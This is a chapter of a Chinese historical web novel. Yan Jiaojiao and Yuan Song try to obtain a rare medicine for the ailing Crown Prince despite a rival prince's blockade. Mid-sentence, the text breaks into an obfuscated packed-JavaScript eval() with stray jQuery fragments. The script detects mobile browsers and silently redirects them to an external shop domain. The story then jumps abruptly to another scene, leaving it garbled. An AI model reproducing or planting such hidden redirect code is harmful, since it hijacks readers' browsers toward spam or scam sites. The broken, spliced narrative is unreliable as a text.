之前也只是提了一嘴,毕竟东宫并没有把希望放在严娇娇那小本生意上,如今走投无路,也只能抱着试试看赌一把了。
严娇娇有些诧异:“急用吗?”
她虽然给小山他们去信了,但因为东宫也不是急着用,就随口一提,也就没有催着他们送过来。
“倒是也收了一些,但都还在南边。”
王顺眼神暗淡了:“来不及了。”
他抬头看向严娇娇:“大家都是自己人,我也就不瞒了,原本以为太子爷至少能坚持多几日,但不想半夜突然提前发作了,若是没有这味药,太子爷的病情会比之前更加严重,如今京城里外的药都被韩王的人控制着……”
别说从南边来,专人送最快也要二十多天,太子根本等不及。
“没有派人去外面找药?”袁松问道。
王顺叹气:“找了,但这位药本就不是常备的,小药铺一般都不会有,大药铺……”
“最大的药铺同生堂就是宫中供奉,他家有位小姐进了韩王的后院,京城内外的药铺都靠着同生堂给生意,我们压根买不到这味药。”
同生堂压下了这味药,其他药铺根本拿不到。
不过也有一层原因,因为谁都知道,太子身子不好,这天下迟早都是韩王的,谁敢得罪韩王呢!
何况,韩王的人沿途设了关卡,就算是弄到了药,如今也送不进城里了。
“他们就是想等着太子病发。”若是太子一命……他们就觉得更好了。
“黄太医可以暂时用药压制三日,三日后若是……”
王顺看向袁松:“袁庶常,太子爷说了,若是他闯不过这一关,你说的那些就算了,看在东宫曾给予援手的情分上,若是有可能,你以后能帮着给皇孙殿下安排个去处,远远的,离开这个宫城。”
看来太子已经放弃了,开始安排后事了。
袁松半日没有说话,因为他也知道,赵晋文还小,皇上如今还看不出他的潜质,想要谋求太孙位,还需要一段时间,但若是此时太子没了,赵晋文就失去了天然的优势,已经名正言顺。
到那时,要立太孙就难了。
他眉头皱的死紧,可再难也不是不能筹谋,但听太子的口气,他不想儿子陷入斗争中,只想让他以后安安稳稳的生活。
“只要那味药太子的病就能好了?”严娇娇突然开口问道。
王顺眼睛一亮,知道她是有办法了,离开点头:“袁太太有办法?那是药引子,太子不说痊愈,至少能撑到下一次用药时间,到时候说不定就能弄到药了。”
袁松也看向她,有些担忧:“你有把握吗?”
东宫的人都没有办法,他不想严娇娇陷入危险中。
严娇娇笑道:“东宫的人进不来,可我又不是东宫的人,我不过一个寻常妇人,韩王的人应该不会刻意盯着我吧。”
何况她这些日子天天往田庄上跑,出城进城的也不会引人注意。
“是不是还有三日?”
听她这么问,王顺的眼睛迸出惊喜,有些激动道:“是。”
“我有办法。”
这话一出,王顺看她就好似救星,当场都想要下跪了,严娇娇立马扶起:“但我也只能去试试。”
“你刚刚说过同生堂因为是宫中供奉,我也认识一家药铺,曾经也是宫中的供奉,后面没落了,被挤出了京城。”
它被挤出京城,不是因为药不行,而是因为背后没人,如今听了王顺的话,严娇娇也明白为何安仁堂会被挤走了。
同生堂是因为攀上了韩王,若是安仁堂有机会重回京城,他们难道不心动?
袁松明白她说的是谁了,只是她认识的是叶掌柜,安仁堂如今在京城可没有店铺,只有三天,她从哪里拿药。
严娇娇笑了一下:“安仁堂并不甘心被挤出京城,三河县有他们的药铺,叶掌柜跟我说过,其实这家铺子就是当初的京城总店搬过去的,掌柜的是他的堂兄,他曾经说过,若我遇懂啊什么难处可以去这里。”
“我想竟然是总店搬过去的,这味药说不定也有。”
王顺听她这么说,心中激动:“那我安排人陪你去取药。”
袁松摇头,拦住了他:“不行。”
东宫的人都被盯着。
王顺也想到了,有些后悔:“那我现在马上回去,到时候暗中派人手暗中接应。”
袁松摇头:“今夜你来这里有没有人发现?”
王顺:“没有,事出突然,太子爷东宫乱成一团,连圣上都惊动了,没人留意到我出来。”
很好,袁松瞬间就有了主意:“这样,你出门后带人即刻全城找药,京城不行,你派人去保定府,动静越大越好,不要让人留意到我们这边,你也别派人接应我们。”
不能让韩王的人留意到他们,这样最安全。
“我陪你去三河县。”他对严娇娇道。
次日,袁松和严娇娇没有动静。
太子病重,皇长孙日日守在床前,茶饭不思,人都憔悴了,圣上见了心疼,就打发皇长孙去了袁家。
袁松和严娇娇带着他出城去了庄子上。
听说皇长孙在庄子上学种地,过几天去一次这是常事,韩王得到这个消息并没有放在心上,一个小崽子,翻不出什么风浪来。
就连袁松他都没有放在心上,据他的人所查,袁家的药铺子不过小打小闹,就算传信把药弄来,也得半个月后了。
通州有他的人,船刚停下,他就能扣了。
韩王得意地翘着腿,心情很好地听着小曲,韩王妃进来,脸色变了又变,婉言劝道:“父皇今日心情不好,殿下何必进宫去看看,为父皇分忧也是您的孝心。”
太子病重,韩王多出现在皇帝面前也是有好处的。
韩王今日心情好,虽然知道王妃的意思,也乐的接受了。
***
三人刚到庄子上,严娇娇换了身衣服,就准备从后门走。
袁松拉住她的手:“真的不要我陪你去?”
严娇娇道:“放心吧,六十里路而已,天黑前我就能回来了,你留在庄子上。“
万一有人来试探,看到袁松和赵晋文在,也不会立刻怀疑什么。
见他眉头皱的死紧,严娇娇笑着拉下他的头,亲了一口:“好了,放心吧,我心里有数的,何况我身上有东宫令牌,出了事情会找衙门的人。”
“我们多买几个人吧。”
怎么突然说这个,严娇娇莫名。
袁松:“你身边没个人,我担心。”
严娇娇笑:“行,到时候多买几个。”语气敷衍。
“我真要走了。”不然时间来不及了。
她接过东西,就要上车,赵晋文从院子里跑了过来,双眼含泪,带着感激:“让师母受累了,晋文先谢过师母。”
严娇娇呦了一声,打趣他:“长大了。”
马车很快出了庄子,从另一条小路拐上了去三河县的官道。
好在是京畿附近的县城,驿道修的平整,马车放开了跑,她也还能坚持住。
未时末,屁股都快被颠成两瓣的严娇娇终于进了三河县的城门。
经过一番打听,终于找到了安仁堂。
比钦安县的要大,生意却大不如。
店里没几个人,药童在磨要,坐堂大夫闭眼养神。
“娘子,请问要抓什么药?”柜台上的小二看到有人进来,眼睛一亮,立刻大声招呼起来。
坐堂大夫被惊醒,坐正了姿势。
“我找你们叶掌柜。”
小二愣了一下,敢情不是来抓药的,他有些失望:“您是?”
“我也是钦安县来的,叶三掌柜托我带了个口信。”
小二把目光看向坐堂大夫。
坐堂大夫看了过来,上下打量着严娇娇:“娘子找我?”
严娇娇没想到,三河县的掌柜竟也是坐堂大夫,一时错愕,
叶掌柜把她请去了后堂,上了茶,问她:“不知道堂弟托您带了什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915877|204401||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么口信。”
严娇娇低头,喝了一口茶,抱歉笑道:“我担心叶掌柜不肯见我,这才托词叶三掌柜,不过我和叶三掌柜确实认识,他之前和我提过您,说我若是遇到难事,可来找您。”
这话叶掌柜也相信,他早就看出严娇娇的托词,叶三若是要带信,用不着托人。
他喝了一口茶,淡淡问道:“娘子不妨说说是什么事,能帮上的我一定帮,但你也知道,我只是个开药铺的……”
严娇娇打断他的话:“我正是要抓药,一味不常用的药,但我想叶掌柜这里一定有。”
她把名字说了出来。
叶掌柜脸色瞬间变了,眼神也犀利起来,放下茶杯,定定道:“抱歉,我不过小本买卖,这种药小店没有。”
他这个反应明显不对,看来有人叮嘱过他不许卖这味药。
严娇娇突然说了一句:“叶掌柜不是一直想回到京城吗?您不是不甘心安仁堂窝在这三河县小小地方?”
“如今有个好机会,你就真不考虑一下,一口拒绝了?”
“有人不让你们卖这味药?我猜猜是不是同生堂,他是宫廷供奉你们得罪不起,可安仁堂曾经也是供奉,又是被谁挤下来的,韩王有位小妾听说出自同生堂。”
叶掌柜笑笑,颇为无奈:“我听叶三说过你,严娘子做生意很在行,看来如今当说客口才也是一流,你竟然知道同生堂的事情,那为何还要为难我们呢,安仁堂如今可谁得罪不起。”
韩王说不得就是未来的太子。
严娇娇笑:“叶掌柜比我年长,自然阅历也比我多,我都能想明白的事情,您怎么就看不透了,您就没想过这味药是谁需要,值得同生堂花这么大力气。”
能让韩王这么紧张的,自然是太子,听说太子又病重了?
严娇娇见他怔了一下,继续道:“叶三掌柜曾经待我不错,我常听他提起过安仁堂的辉煌,同生堂如今的铺子以前就是安仁堂的吧,我去看过来,确实威风,三间铺面,两层楼。”
她继续攻心:“如今已经没人记得安仁堂了,都只知道同生堂,安仁街就要改成同生街了。”
叶掌柜怎么不知道她在激将,可没办法,她确实成功了。
他叹口气:“不是我不卖,只是若被同生堂知道,安仁堂别说回京城,还能不能留下招牌都不一定。”
它背后毕竟是韩王,安仁堂招惹不起啊。
“可若是太子在,韩王永远是韩王,您怕什么,到时候安仁堂可是太子的救命恩人,安仁堂何愁回不了京城。”她开始利诱。
说实话,叶掌柜是心动的,但他却更知道,太子的病是治不好的,这天下总归只是要给韩王。
哪又何必从一开始就得罪人家。
严娇娇露出莫测笑容,压低声音道:“叶掌柜这就说错了,太子还有儿子,如何就一定是韩王的了,难道您不知,圣上最是偏爱这个长孙。”
叶掌柜眼中闪过异色,有些犹豫,严娇娇再接再厉。
“何况,我是偷偷来的,谁也不会知道您给我这味药,若是你怕得罪韩王,太子也不会对外张扬,反而会记下安仁堂的这份情,您依旧可以继续观望。”
天黑了,城门口排起长队,马车一辆辆过,有些人等不及,掀开帘子开始叫骂。
袁松道:“是金吾卫的人在盘查过往车辆,难道是得到风声了?”
他心中担忧,看向严娇娇一旁的黑盒子。
赵晋文皱眉,开口:“要不我下车去闹一闹?”他还是孩子,闹出动静来吸引目光,是不是能让袁松的车过。
严娇娇立马就否定这个馊主意:“你去闹,只会让他们觉得我们这里有鬼。”
她抬头四处望,突然看见人群里有个眼熟的人,眼冒精光,捅了捅身边的袁松。
袁松抬头看起,马上的人正是许耀宗,他护送着一辆马车,马车檐下挂着一个灯笼,发出昏黄的烛光,赫然是个徐字。
袁松和她相视而笑。
“许兄!”